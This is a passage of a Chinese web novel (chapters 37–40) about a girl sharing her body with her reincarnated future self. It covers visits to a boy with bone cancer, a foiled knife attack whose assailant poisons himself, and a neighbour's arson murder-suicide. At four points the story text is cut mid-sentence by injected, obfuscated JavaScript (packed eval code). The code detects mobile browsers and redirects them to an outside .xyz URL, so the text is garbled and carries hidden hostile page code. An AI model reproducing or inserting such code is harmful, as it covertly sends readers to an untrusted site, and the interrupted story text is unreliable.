先前闲聊时,曲宏愿便从小温那得知了她近段时间的经历,父亲两次险些被杀,接警的刑警是神秘组织的卧底,举报的刑警被杀……她这趟远门已经很累了,更别提回家后经历的这些,他都替她心累。 “好吧。”大温站在病房门口挥挥手,“那你也要好好休息,会没事的。” …… 清晨的医院电梯人很少,大温顺利乘上了电梯,电梯门一合,一开,小温走出了电梯。 电梯下行至一半时便到了切换的时间,小温强忍着返回病房的冲动。在切换的那一刻她便知道了事情的完整经过,知道她不该再回到病房了。 趁着她还没困得原地睡着,她要按照约定和何景澄的弟弟见面。只希望何景澄的弟弟不是病逝的,这样她或许能找到什么办法阻止。 嗯? 不对。 小温愣在原地,脸上露出茫然的神色。 不对,大温没告诉她何景澄的弟弟最后病逝了,她是怎么知道的? 奇怪,之前切换灵魂后,后来者只会继承前者的记忆,这些记忆还都是前者在这具身体里行动时,身体所经历的事情的记忆。 假设大温在操控身体期间,突然坐到书桌前,回忆前世的人和事。那么在小温上线后,她只会记得自己坐在书桌前发呆,不知道自己在做什么。 一般来说,这是一个弊端,后来者容易搞不懂需要做什么。但大温和小温本质上是一个人,拥有一样的思维模式,只需要稍加思考就能大概猜到另一个人在想什么。因此这一点在她们之间也不算是太大的弊端。 更何况她们每天都能在逆转空间里见面,想知道另一个人在想什么可以直接询问,想快点知道还能通过电子设备进行联络。 总而言之,她们已经习惯了,思想不会通过身体传递,一直以来都是如此。 为何这次不同了? 小温挠挠头,边思索边向着第一住院部走去。 她仔细回忆着大温遇见何景澄的那段回忆,往常回忆时就像是在玩第二人称的文游,旁白会告诉你发生了什么,但你不会感受到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364381|183857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 故事亲历者的感受。 这次不同了,虽然只是很少一点,但小温确确实实感受到了。 她感受到大温的悲伤,体会到她的决意,知道她想尽可能地帮助何景澄。 这次,小温好像成了大温。 这是为什么?是重生系统出了什么问题吗? 唔……今晚要和大温好好商量这件事了。唉,怎么这么忙。 步行到第一住院部大约需要五分钟,小温按下电梯,和一位提着小篮子的护工一同乘坐电梯。同时她掏出手机,给何景澄发消息。 【小温】:我正在上楼,你在哪里? 何景澄秒回。 【何景澄】:我在电梯口等你。 清晨的医院电梯很空闲,没花多少时间,小温便到了肿瘤科所在的楼层。 电梯的语音播报响起,厚重的金属门缓缓开启,小温看见了何景澄微笑着的脸。 “嗨,我来了~”小温冲他眨眨眼,走出电梯。 清晨的病房也很安静,保洁阿姨已经开始打扫卫生了,小温踮着脚走过刚拖好的地板。 “奶奶身体怎么样了?”何景澄轻声问。 “刚刚醒了,还和我说话了。” “希望奶奶能快些好起来。”何景澄双手合十,闭眼许愿。 “希望弟弟有一天能和你一起出门观鸟。”小温也跟着许愿。 何景澄愣了一下,一时不知道该不该庆幸小温反应迟钝。 何景澄领着小温拐过一个弯,停在最里边的一间病房门前。他敲了两下病房门,随后推门而入。 小温本来已经做好准备了,她以为,会看到一个脸色苍白或是精神萎靡的小病人,但结果出乎她的意料。 在开门的同一时间,一架黑色轮椅便飞快朝着门口的二人开来。小温被吓了一跳,下意识做出防御的姿势,定睛一看,发现是个坐着电动轮椅的光头小男孩。 “啊!哥哥!还有个姐姐!”小男孩睁着水灵灵的大眼睛,看面相大约十一二岁,男孩摇头晃脑地看着眼前的陌生的姐姐,“要一起玩吗?可以一起吗?” 小温收回护在身前防御的手,总觉得,要不是病房实在狭窄,这个小男孩可以开着轮椅出去跑几圈。 分明相当有精神啊!这真的是病人吗?小温有些茫然了。 虽然之前何景澄就说过他弟弟和他性格截然不同,但没想到是这个画风啊! 在小温茫然不知作何反应时,何景澄轻叹口气,有些无奈地弯腰抓着轮椅扶手,把轮椅往后推了几步,推离病房门口,再绕到轮椅背后把小男孩推回病房。 “阿澈,你腿还疼吗?”何景澄关切地问。 这话一出口,便像是把妖怪打回原形的咒语,把何景澈打回了原型,他一下没崩住眼泪,两行生理性眼泪骨碌碌往下滚。 “疼,越来越疼了。”何景澈眼泪汪汪地说,“疼”字一出口,眼泪就忍不住大颗大颗砸在大腿上。 小温这下才反应过来,何景澈之前眼睛水灵灵的,是因为眼睛里蓄着泪水。 37. 纸星星 清晨的病房很安静,为了避免交谈声吵到其他病房的病人,小温随手把门关上了。 何景澈捂着腿,抽抽搭搭地哭,哭了会又一抹眼泪,嘀嘀咕咕给自己加油打气:“不疼不疼,一点也不疼,阿澈不能掉眼泪。” 何景澈给自己催眠一般重复了好几遍,终于又变回一开始兴奋的模样,他傻笑着问小温:“长得很高的姐姐,我叫何景澈,你叫什么名字呀?” “我叫温流照,很高兴见到你,阿澈。” 小温没有体验过骨肉瘤的疼痛是什么样的,但她体验过类似的疼痛。小温从小就开始学习各种武术格斗术,她的生长痛是普通孩子的两三倍。 小温的教练是个很严厉又很温柔的女人,她训练时从不手软,不管小豆丁一样的小温怎么撒娇卖萌,该做几组练习就是几组。刚开始的训练异常辛苦,小温欲哭无泪,每天都在心里暗骂教练铁石心肠。 教练很严格,但注意到小温的生长痛很厉害,并向老温传授缓解疼痛之法的人也是教练。 交代完后,教练也没忘记嘱咐老温,如果疼痛时间过长,记得带小温去医院检查一下,骨肉瘤的疼痛感与生长痛相似,最好检查一下排除疾病的可能。 小温身高窜得最快的时候,什么办法也没法缓解疼痛了。她晚上睡觉时,痛得在床上打滚,一个不小心滚下了床,摔在地上,更疼了。 她揉着屁股从地上爬起来,心想,仅仅只是生长痛就痛得这么厉害,那些不幸身患骨肉瘤的孩子该有多疼啊。 小温露出一个柔和的笑,不是出于怜悯,而是出于敬佩,她敬佩何景澈在忍耐病痛的同时,还能保持乐观。 “那我叫你温姐姐吗?”何景澈问。 小温一听到这个称呼就感觉有点头大,昨天才被另一个让她感情复杂的小男孩这么称呼。 “这个称呼还是算了吧……”小温有些发怵,她皱眉思索了好一阵才接着说道,“你叫我小温姐姐好了。” 至于大温叫什么,就让她“入乡随俗”吧。 “好啊!小温姐姐!”何景澈水蒙蒙地眼睛看着小温,他飞快眨着眼睛说道,“要一起玩吗?可以一起吗?” 小温上前几步,蹲在何景澈的轮椅前轻声说:“好啊,你想玩什么?” 何景澈眼睛亮亮的,刚回头想叫何景澄帮忙,就见他已经拿来了一支笔和一条粉红色的软卡纸。 何景澄把笔和纸交到小温手中,何景澈笑着说:“朋友游戏!姐姐你会折纸星星吗?” 小温有些怀念地看着手中的纸条,大概猜到了她要做什么:“当然,我要在上面写什么吗?” “嗯嗯!”何景澈点了两下头,“朋友游戏!你来当我的朋友,在纸条上写下祝福的话,然后把纸条折成纸星星,装在罐子里。” 何景澈说着,又一次回头,何景澄又一次提前帮他把床头柜里的玻璃罐拿了出来。那是一个巴掌大的小罐子,里面装着五颜六色的纸星星,已经装了大半个罐子了。 何景澈小心翼翼地接过罐子,捧在怀里:“妈妈说,等罐子装满了,我的病就好了,可以下床到处跑了。我把我在学校的朋友们都叫来帮忙了,可惜还差好多。” “那我也找我的家人朋友帮帮你吧。”小温说着,刚想找个板凳拉到床头柜前,坐下来好好写,就发现何景澄已经帮忙摆好凳子了。 “真的?”何景澈有些兴奋,随后很快又冷静了下来,“可是妈妈说,需要真心祝福我的人写的纸条才有用,他们会真心祝福我吗?” “当然。”小温坐到床头柜前的椅子上,“他们都是很好的人。” 小温思量片刻,提笔在纸条上认认真真、一笔一画地写下一句话——愿你生如飞鸟,行于长空。 “写了什么?写了什么?”何景澈左右摇晃着脑袋,朝小温这边看,晃了会又想到了什么,双手捂眼,说道,“啊,忘记了,愿望不能公开,不然就不灵了。” 小温熟练地折好纸星星,双手捧着纸星星递到何景澈面前。 何景澈愣了一下,想单手接过,又觉得不太好,想双手接过,手上又拿着罐子。他纠结了会,这才想到打开罐子,让小温把星星放进来。 小温的手停在罐子上方,两手分开,那颗粉红色的小星星便稳稳落进玻璃罐中。 “谢谢你!”何景澈笑容灿烂,虽然他的一边脸颊肌肉还在因为疼痛而抽动。 何景澄依旧尽职尽责地打杂,他帮忙把罐子放好,何景澈问小温:“小温姐姐,我们待会要去吃早餐,你要一起来吗?” 小温摸了摸肚子,大温吃的那杯杯面没多少分量她确实还有点饿。 “好啊。”她说。 “好哦!出门咯!”何景澈举手欢呼,熟练地开着电动轮椅出门。 下了电梯,何景澄放慢脚步和小温并肩而行,小温打了个哈欠,何景澄轻声道歉:“抱歉,你应该已经很累了。” “还好,我起码睡了几个小时,不算很困。”小温打着哈欠说道,“我很意外,你的弟弟原来是这样的性格。该怎么说呢,你像是绵绵不绝的小溪,他像是飞流直下的瀑布,一个安静一个活泼。” “很贴切的形容,不过阿澈并不完全是个活泼的孩子。”何景澄目光落在前方的何景澈身上,何景澈开着轮椅东看看先看看,忙碌得像是一只小蜜蜂。 “不知道你有没有了解过骨肉瘤,疾病带来的疼痛无法缓解,很久之前阿澈就对止痛药有了耐药性,药物的效果很差。他从前不是特别活泼的人,但现在他如果不做些什么转换注意力,就会疼得受不了。” “阿澈从小就很乖,他知道我们会伤心,会心疼他,所以总是在逞强。不得不说,阿澈的演技确实相当好,他骗过了母亲,就连我都险些上当。我是后来就明白的,他越是亢奋,就越 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364382|183857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是说明他很难受。我看出了这一点,他也知道我看出来了,我们都在心照不宣地瞒着母亲,就像小时候一样。” “化疗已经到了最后的阶段,今年年底阿澈就要做手术了。手术成功后,如果没有转移灶,也没有再复发,阿澈就可以像个正常孩子一样活下去,可以……好好看这个世界。” 何景澄说着,何景澈已经开着轮椅往小公园里去了。就如何景澄所说,他演技很好,如果不是早就知道,小温也很难相信,那样一个始终笑着的孩子正在忍受他这个年龄不该忍受的痛楚。 “每天的饭点是难得的散步时间,我会趁这个时间带阿澈出来逛逛。城市的绿化带或者小型休闲公园里会有一些鸟类,比如麻雀和鹊鸲(qu第二声)。每次出门阿澈都会往小公园里走,但也不是每次都能看见鸟。” 何景澈的轮椅开出小公园,小温隐约能听见他略带遗憾地嘀咕:“这次没看到啊。” 他垂头耷脑沮丧了不到半秒钟,又笑着转头问小温:“小温姐姐,你想吃什么?” “我都行,你想吃什么?我请客。” 何景澈闻言一愣,停下轮椅,连忙摆手解释道:“不不不!妈妈说我们家有钱,你不用可怜我的。” “这不是可怜,这是见面礼,我爸爸说和新朋友第一次见面时要带些礼物,这样容易拉近关系。”小温走到何景澈跟前蹲下,看着他的眼睛认真说道,“我和阿澈已经是朋友了,这只是一份来自新朋友的见面礼。” “等你做完手术,平平安安地出院了,你也可以请我吃饭。不用去多好的饭店,就随便找一家路边小摊吃点烧烤聊聊天就行,我会一直等你的。” 小温伸出手,三指握拳,做了个拉钩的手势。何景澈会意,也伸出手。 “拉勾上吊,一百年,不许变!”二人勾着手指,齐声念颂约定的咒语。 “好了,所以你想吃什么?作为朋友我想让你先进行选择。”小温笑着说。 何景澈垂眸思索了几秒钟:“肠粉?粥已经吃腻了。” “行。”小温转头看向何景澄。 “我知道哪里有卖。”何景澄一如既往地敏锐,不等小温开口询问就说出了答案。 小温原本只是想试试,何景澄能不能在她开口之前知道她要说什么,没想到真的能。 随着他们交往的深入,小温发现,何景澄这人的直觉敏锐到仿佛拥有读心术,旁人一个眼神一个动作,他就能会意。他总是会默默做好他能做的,就像之前在欢乐谷时一样。 小温轻笑一声,何景澄侧头看向她,轻声问:“怎么了?” “没什么。”小温收敛了笑意,“就是有了些新的发现,感觉对你的了解更进一步了。” 何景澄微微张嘴,想说些什么,最终没能说出口。耳根有些发红,他沉默了两三秒的时间,牛头不对马嘴般说道:“谢谢你今天能过来。” 38. 游戏 “说起来,你最近有和丹丹姐她们联系过吗?”紫藤花长廊中,小温问何景澄。 他们刚刚吃完早餐,把何景澈送回病房,小温和何景澈道别,与何景澄一同下楼了。 穿过紫藤花长廊,小温陆陆续续看到了赶来上班的医生,医院的人开始多了。 “没有,她们工作都忙,最近事情多。” 有点遗憾,小温还期待着案件调查有什么进展呢。距离科考队报案已经过去十二天,说长不长说短不短,也不知道现在案件查到哪了。 “放心吧,如果毫无进展,小丹姐肯定会按耐不住找你闲聊。她没有联系你,就说明在忙,在忙就说明案件有进展,正在进一步调查。”何景澄依旧在小温未开口前回答。 小温突然停下脚步,回头一言不发地盯着何景澄。老温和人吹嘘女儿貌若天仙也不是没理由的,小温确实长得好看,明眸皓齿,笑起来很甜。 何景澄被吓了一跳,朝思暮想的脸突然离他那么近,他的大脑一片空白,没搞懂小温想做什么。足足有五秒钟的时间,他们谁也没说话。 何景澄好不容易在混乱的思绪中整理出一个合适的疑问,刚小心谨慎地想要问出口,面前的少女便粲然一笑,像是捉弄人的小精灵一般。 “这次你没有猜到我在想什么诶,看来你没有读心术啊。”小温笑道。 原来……她在想这个……何景澄有些无奈,她总是能不费吹灰之力牵动他的心。 小温收回目光,继续往前走,穿过紫藤萝长廊,没多远就是医院侧门。 “这并不是读心术。” 只是我很了解你而已。何景澄想这么说,但一如往常,他没能说出口,他只是问她:“你觉得这个世界上会有读心术这样超自然的能力吗?” “以前觉得没有,最近突然觉得有了。”小温脚步轻快,跨过一个小水洼,“也许这个世界上真的有科学无法解释的事呢。” 比如大温的重生,比如那个神秘的系统和神秘的空间。 一辆出租车缓缓驶入医院,小温与何景澄并肩而行,不约而同向同行者隐瞒了某些心事。 他们与出租车错身而过,小温在门口站定,与何景澄道别:“好了,我回去睡觉了,有空我还会去看阿澈的,拜拜。” “嗯,路上小心。” 小温微笑挥手,正欲转身,余光瞥见一个人。 那是一个干瘦的中年男人,头发微长,很乱,胡子拉碴,瞳仁偏小,微微低头往上看时会露出大片眼白。分明是大夏天,他却穿个黑外套,手背在身后,脚步匆匆,直直朝何景澄冲来。 那人先前被出租车挡住,他们都没能看见,现在突然从车后冒出来,出现在何景澄身后,几乎打了个措手不及。 小温反应很快,她的教练曾经教过她如何判断杀意,在看到那个男人的一瞬间,她就确定这人带着浓烈的杀意。 其实不用多加判断,男人甚至没有隐藏自己的杀意,他来势汹汹,在距离何景澄仅剩几步路的距离时,背在身后的手悄悄换到身前,袖口处闪过寒芒。 “何景澄,躲开!”在男人的手换到身前的同时,小温一声历喝,伸手拽住何景澄胳膊。 何景澄还不知道发生了什么,就被小温一把拽到身后护好。同时小温抬手下劈,打掉男人手里的刀,小型水果刀掉在地上,叮当作响。 男人吃痛,刚想捡起地上的刀,就被小温一脚上踢,狠狠踢在裆部,他痛得夹着腿动不了。 这时医院的门卫听到了这边的动静,边小跑着赶来边喊:“哎哎哎!咋回事啊?” 然而小温没有停手,她接着又是一脚,把男人踢翻在地,在男人的痛呼中,小温走上前,一手拽着男人胳膊,将其翻了个面,随后一脚踩在男人的背上。 从拉开何景澄到制服歹徒,整个过程仅仅过去了七八秒钟的时间,何景澄和小温都没有受到一点伤害,只有地上的歹徒在呻|吟。 “一次,两次,三次。”小温眼含愠怒,目光下移,语气冰冷,“你们惹怒我了。” 何景澄从未见过小温如此生气,就连小温自己也是第一次这么生气。她倾身下压,脚下的男人发出哀嚎。 “你,你们,到底是谁派来的?”她问。 这些人一而再,再而三地打扰她的生活,谋害她身边亲近的人,今天更是当着她的面就出手了。 是觉得她整天嬉皮笑脸地很好惹吗? 赶来的门卫看见了地上的水果刀,隐约明白了什么。可他看了看踩着男人的小温,又看了看小温脚下快被踩断气的男人,最后看了看旁边沉思中的何景澄,一时间有点分不清谁是歹徒谁是受害者。 “呃……”门卫眼神游移,来回看了地上站的和脚下踩的三人几遍,有些不知道该说什么。 要制服歹徒的话,小温已经制服了,让小温把人放开好像也不太好,那歹徒好像惹到人家了,招惹别人就要做好被打的准备。 何景澄对门卫礼貌说道:“叔叔,可以帮我们报警吗?我们和这人并不认识,他突然就拿着刀子冲上来。” “哦!好!”门卫这下想起来自己可以干什么了,连忙掏出手机拨通电话。 何景澄趁着这个机会走到歹徒身前,蹲下身打量这个男人。男人脸上蹭了灰,一看见何景澄便咧嘴笑了,露出一口黄牙。 “你是谁?”何景澄问,他确实不认识这人,但这人似乎认识他。 “呵呵呵……”男人艰难地从喉咙里挤出笑,他被小温踩着,头抬不起来,只能把眼珠子转向何景澄,“这是你的选择,你辜负了ta的好意。” “打什么哑谜,你是九岁小孩吗?”小温蹙眉,脚尖转了转,冷冷看着男人皱成一团的五官。 小温注意力全都在男人身上,没注意到身边的何景澄双目圆睁,似乎很是震惊。 男人这话是对何景澄说的,他知道何景澄能听懂,何景澄也确实听懂了。在那一瞬间,他明白了什么,眼中闪过复杂难辨的神色。 如果一切是他猜测的那样,那先前的种种疑问便有了解答。 他的母亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364383|183857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为什么一再强调,他不能当侦探,不听、不说、不看,不能去探究那些秘密。还有他的外公外婆,他们的死到底是意外还是人为? 一个可怕的猜测浮上心头,原来如此……这就是母亲想要隐瞒的秘密吗? 小温没能注意到何景澄的脸色,男人全都看到了,一连串仿佛气音的笑声从喉咙里挤出。 “向我主献上祭品。” 男人的话带着隐忍的癫狂,何景澄察觉到不对,伸手掰开他的嘴,已经什么也看不到了。 小温也发现了不对劲,连忙收回脚,俯身查看男人的情况。 “呵呵呵……咳咳!”男人笑着,嘴角溢出白沫,说完了剩下半截话,“……邀请你,加入游戏。” 向我主献上祭品,邀请你,加入游戏。 “这是……什么意思?”小温完全糊涂了,她原本觉得这人是冲她来的,此时她顺着男人的目光看去,看到了何景澄凝重复杂的神色。 何景澄好像听懂了。 这个男人好像是冲着何景澄来的。 为什么? 医院门口人来人往,此时不少人注意到了这边的动静,甚至还有开车上班的医生看到这一幕,又把车开了回来,问他们:“怎么回事啊?有人受伤了吗?” 医生停好电动车,从车上跳了下来,看到地上口吐白沫的男人时神色一凛。她手脚麻利地把人翻了个面,吩咐小温和何景澄:“去门诊楼叫人带平车过来。” 距离大门最近的便是门诊楼,小温闻言立刻动身,这个男人现在还不能死,他还什么情报也没有说。 那句话到底是什么意思?祭品是什么?游戏又是什么? 远处警笛呼啸,在踏进门诊楼前,小温回头,看见了白色的警车。 警车上走下来两位警察,他们看到地上口吐白沫的男人和进行急救的医生时均是一愣,原本是做好带人回去审讯的准备,现在人貌似要没了。 医生没管警察,她专注于抢救服毒的男人。 “怎么回事?”一位高瘦的警察询问一旁的何景澄。 何景澄按了按眉心,从震惊中慢慢回过神,简单和警察交代了事情的经过。讲到一半时,小温带着平车风风火火地赶来了,几个人七手八脚把人抬上车。 小温和何景澄对视,同时点头,小温跟着医生走了,何景澄继续和警察解释。 “你是说,你们和犯人并不认识,他突然拿着刀想杀你?” “对。” “然后和你一起的女生及时出手,把人制服了,再然后犯人就服毒自杀了?” “我不确定是不是服毒,这是我猜的。” “你有做什么可能和他人结仇的事吗?” 何景澄认真思索,肯定回答:“我认为没有。” 警察蹙眉喃喃:“怪了,犯人有说什么吗?” 何景澄犹豫片刻,还是如实说道:“他说‘这是你的选择,你辜负了ta的好意’。” “他还说,‘向我主献上祭品,邀请你,加入游戏’。” 39. 纵火 第三次进警局,小温已经完全麻木了。 持刀行凶的歹徒咬破了藏在舌头底下的毒药胶囊,最终没救回来。 小温神色凝重,歹徒本就抱着必死的决心,不管他有没有刺伤何景澄,他最终都会服毒自杀。 完全就是疯子,连自己的命都不在意,何景澄为什么会和这样的人扯上关系? 小温看向另一侧的走廊,等何景澄出来了,她有很多事想问他。 而现在……她想……睡觉了…… 小温在警局大厅的长椅上打瞌睡,她实在太困了,一松懈下来就睡着了。 何景澄出来时就看见小温靠着椅背歪着脑袋,睡得正香。 一位警官想问小温一些问题,何景澄把人拦住,轻声说:“如果不是必须问她的问题,我可以代为回答。” 警官看了眼何景澄,他听说了小温的遭遇,知道这个小姑娘很累。权衡之下,他答应了何景澄的请求。 大厅开着空调,一位扎着麻花辫的文职人员看到睡着的小温,悄悄拿来了一张薄毯,轻手轻脚地盖在小温身上。 众人经过小温身边时,全都不约而同地压低声音,脚步放轻。何景澄再返回大厅时,看见的便是这样的景象。 小温是个对所有人都很真诚的人,她的真诚常常会吸引很多人围在她身边。因此对小温好的人很多,实在太多了,在那些人中,何景澄不过是沧海中普通的一粟。 小温曾经在何景澄的世界里留下浓墨重彩的一笔,而何景澄对小温来说,不过是芸芸众生中再普通不过的一个人,她甚至早就不记得他了。 这样的落差不免让何景澄有些心酸,心酸过后,又会替小温高兴,高兴她被很多人爱着。 何景澄没有叫醒小温,他小心翼翼地坐在了小温旁边的座位上,整理着最近发生的事。 …… 小温睡着后,大温可以选择是否接管身体的使用权限。这一次大温没有接管,她想让小温的身体好好休息。 而小温本魂则怒气冲冲地找大温吐槽:“啧,早知道他要死,硬逼也要逼他说点什么。” “虽然我也想,但是最好别这样。”大温坐在旋转座椅上转了一圈,无奈道,“不然可能要被判过失伤人了。” 小温撇嘴,有些不满,她独自窝在一边气恼,气了没多久自己恢复了,双脚一蹬,万向轮骨碌碌转,小温坐着椅子划到大温身边。 “哎,我刚刚和你说的事,你有什么头绪吗?” “你是指歹徒说的话吗?” “对啊。” “嗯……”大温摸着下巴认真思索,坦诚道,“没有。” 前世何景澄一直是个普通人,顺风顺水考上名校,大温死时他貌似还在继续读博,他们之间的交流只剩下节假日的例行问候。 大温也不知道歹徒的话是什么意思,“ta”是谁?是她还是他?祭品是什么?游戏又是什么? 关于游戏,她倒是有个模模糊糊的猜测,就是她前世遭遇的那四个事件。她猜测那是某个神秘组织的游戏,而她是被盯上的玩具。 祭品,游戏。 如果歹徒口中的游戏,指的就是大温经历的游戏,那为什么前世脱离游戏的何景澄,在这一世收到了游戏邀请? 是什么改变了事情的发展? 如果第二句话里说的游戏,就是大温经历的那四个事件,为什么她没有听过这句话?她可是在毫不知情的情况下,被迫参与游戏的——如果被当成游戏中的一环也算是参与游戏的话。 大温隐约觉得,“这是你的选择,你辜负了ta的好意”这句话会是关键线索。 电脑响起消息提示音,在小温进入逆转空间前,大温登陆了小温的账号(其实也是大温的账号)……也就是她们的大号。 因为有设备锁,想在逆转空间里登陆大号有些困难,大温尝试了好一会才成功。 之所以要登录大号,是因为她突然想起来,她还没有和父母说她出门了。平时老温和秦女士要上班的日子,她会在晨跑完后回家,和他们一起吃早餐。 眼看就快到了平时吃早餐的时间,小温显然是回不去的,她想让小温和父母打声招呼,结果小温没回消息。 反正大温也闲着没事干,她纠结了会,选择登录大号,和父母联系。 他们家有个三个人的小群,大温在那个群聊里说了花奶奶的事。老温大吃一惊,连忙追问大温情况如何。秦女士也在询问原因,大温一一解释后,让他们赶紧去上班,等下班再去看花奶奶。 现在账号没有退出,电脑屏幕停留在消息界面,大温瞅了眼,发现群聊里多了一条新消息。 【老温】:这班上不成了。 大温蹙眉,小温也探着脑袋看电脑屏幕,四只眼睛齐齐盯着电脑屏幕。 新消息弹出。 【老温】:隔壁家起火了,刚刚忙着救火,现在才有空。 “噌——噌——”两下,大温小温从猛地从椅子上站起,她们动作一致,几乎是前后脚站起的。二人不可置信地盯着电脑屏幕,大温率先从震惊中回过神,她坐回椅子上,飞快地敲击键盘。 【大温】:什么什么?李常家起火了?为什么?谁放的? 【老温】:你先别急,我慢慢说。不知道为什么,好像是李萍放的,现在现场乱糟糟的,三个人都烧得面目全非。 【老温】:蒙乘和李常当场死亡,李萍重度烧伤,但还剩一口气,刚刚送进医院抢救。警察简单调查了一下,蒙乘和李常被喂了大量的安眠药,就算没有这场火多半也救不活了。 【老温】:给蒙乘和李常喂下安眠药后,李萍把他们整整齐齐摆在主卧的床上,在卧室的地板上泼了一桶食用油,点燃了卧室的窗帘,随后她在火中躺回床上,和丈夫儿子躺在一起。 【老温】:火是秦女士发现的,她闻到了味道。虽然她发现得很早,我们报警得很快,消防员来得也很快,但还是没能阻止悲剧。 老温停顿了很久,一向巧舌如簧的他此时也不知该说些什么了。 【老温】:唯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364384|183857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一值得庆幸的是,我们发现得早,没有牵连到更多人。 世事难料,前天小温发现教唆信,又与李常在天台上进行深入交流,她说了她会等李常的答案,期待他悬崖勒马,不料李萍一把火烧掉了所有的期待。 一直沉默的秦女士发言了。 【秦女士】:我很遗憾。 秦女士话没说完,但他们都知道秦女士在遗憾什么。她从前一直想规劝蒙乘,开导李萍,不说让他们夫妻感情回归新婚时期,起码让他们正常些,让李常过上正常孩子的生活。 为人母总是看不得孩子受苦,她好几次想让李常来他们家住几天,吃好喝好,长些肉,可惜李萍没答应。 好人不好当,想改变这个家庭太难了,秦女士只擅长过好自己的生活。 他们三人默哀了半分钟,小温率先发言,她一把抓住大温的肩膀来回摇晃。 “啊啊啊我真服了!是不是又是那个神秘组织干的!”小温边晃边嚎。 大温安详地闭起眼,幽幽道:“倒也不一定,因为在我的时空里,李萍也带着家人自杀了。” 大温的声音被晃得一起一伏,小温听罢,停住了摇晃大温的手。 是了,上一次李萍是用煤气自杀的,这次是自焚。就结果而言,李萍的行动并没有受到影响,这是注定要发生的事,在更早之前就注定了。 小温手还抓着大温肩膀,表情落寞,大温把她的手拿下来,放好,叹息道:“看来事情还是很多啊,我先醒了,晚上见。” 一听到晚上见,小温就想起来自己还有事情没有告诉大温,在大温回到现实之前,小温连忙道:“等会等会!我还有事要说!” 大温疑惑地看着小温,等待她开口。 小温正色道:“今天早上我突然就能感受到你的想法了,我知道你曾经在我的身体里想过什么,知道何景澄的弟弟最后会病逝。这个想法就像从我的脑子里冒出来的一样,我们之间的区别是不是越来越不明显了?” 大温皱眉:“我好像没有这样的感觉。” “难道是系统出了什么问题,我们的灵魂开始融合了吗?”小温小心翼翼地问道。 大温和小温一直都是相对独立的个体,她们的思想是独立的,所经历的人生也是截然不同的。可以把她们看成是一个人,也可以看成两个人。 大温一直对她重生这件事知之甚少,唯一能够的确定的,是大温和小温都是拥有独立灵魂的个体。大温的重生其实就是魂穿到另一个时空中的自己身上,按照系统的意思,不出意外的话小温会消失,大温会取代小温活下去。 而大温和小温共生的原因,就是系统故障。大温眉头紧锁,出声呼叫系统。 隔了几秒钟,系统才迟钝地给出回应。空中冒出一个蓝色光圈,把小温吓了一跳。 小温定睛一看,这光圈和最初见到大温时的一样,是系统的投影。她们盯着光圈看了几秒,光圈发出了声音,是久违的机械女音。 【系统】:系统升级维修中,进度90%。 40. 秘密 大温睁开了疲惫的眼睛,发现不知道是谁往她身上盖了一张薄毯子,粉红色带着白色花纹的薄毯子,看起来是个女生的。 她打了个哈欠,把毯子叠好放在一旁,身侧的何景澄侧头看着她,眉眼含笑。 和大温小温待在一起的时间里,何景澄几乎都在笑,或深或浅的笑。明明认识的时间不算短了,她却从来没有见过何景澄生气的样子。 不真实感。 以及一种微妙的距离感。 这是一直以来何景澄给大温的感觉。 “已经没事了,你先回家睡觉吧。”何景澄温声道。 大温看着何景澄的脸,没由来的问出了一个问题:“何景澄,你会生气吗?” 何景澄一怔:“为什么这么问?” “如果不是我恰好在场并看见了歹徒,你肯定会受伤,可是我看你并没有生气。” 何景澄思索片刻,肯定道:“如果当时歹徒的目标是你,我会生气。” 大温讶异道:“你把朋友的命看得比自己的还重吗?不管歹徒的目标是我还是我的朋友,我都一样生气,伤害我的朋友就等于伤害了我,而我是绝对不会乖乖任人伤害的。” 何景澄一时不知该怎么委婉地向大温表达他的想法,他当然不是把朋友的命看得比自己重,他只是把大温看得格外重。 他是个很矛盾的人,一面希望大温能够发现他的感情,一面害怕大温发现。他对于未知之事有着强烈的探索欲,但却不敢向大温索求一个确切的答案。 